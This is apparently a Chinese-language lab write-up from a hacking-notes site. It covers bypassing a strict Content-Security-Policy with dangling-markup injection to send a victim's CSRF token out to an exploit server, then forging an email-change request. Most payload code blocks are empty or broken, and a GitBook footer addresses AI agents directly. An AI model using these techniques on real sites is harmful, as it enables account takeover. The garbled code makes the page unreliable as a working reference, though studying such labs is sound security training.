> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md). # 受严格 CSP 保护的反射型 XSS，通过悬空标记攻击 ### 受非常严格 CSP 保护的反射型 XSS，使用悬空标记攻击 #### 实验目标 * 实施一次绕过 CSP 的 XSS 攻击，并通过 Burp Collaborator 外带模拟用户的 CSRF 令牌。 * 然后使用此令牌将受害者的电子邮件地址更改为 `hacker@evil-user.net`. * 受害者可见的载荷必须包含单词 **点击** （例如 `点击我`）以促使其点击。 * 测试账户： `wiener:peter`. #### 初步观察 * 在电子邮件更新表单中，添加 `?email=` 到 URL 中可控制值（`值`） `email` 输入字段。
该字段可被注入 HTML 标签（测试示例）： * `test">

test

` → `

` 被注入并返回。 ```html test">

test

```
* `test">` → ` ```
浏览器控制台显示安全策略阻止： {% hint style="danger" %} Content-Security-Policy: 页面设置阻止了内联脚本（script-src-elem）执行，因为它违反了以下指令：“script-src 'self'” {% endhint %}
观察到的 CSP 响应头： `content-security-policy`/ `default-src 'self';object-src 'none'; style-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none';`
#### 攻击策略（悬空标记） * 不要注入一个 ` ``` * 一旦受害者被重定向并点击按钮，CSRF 令牌就会出现在利用服务器的日志中。
#### 外带后的操作：使用 CSRF 令牌更改邮箱 * 获取 CSRF 令牌后（从利用服务器的日志中），构建一个 HTML 页面，以 POST 方式提交到 `/my-account/change-email` 使用： * `email = hacker@evil-user.net` * `CSRF = <获取到的令牌>`
生成的 HTML PoC 示例（由 Burp 或手动）用于自动执行 POST 请求
```html
``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.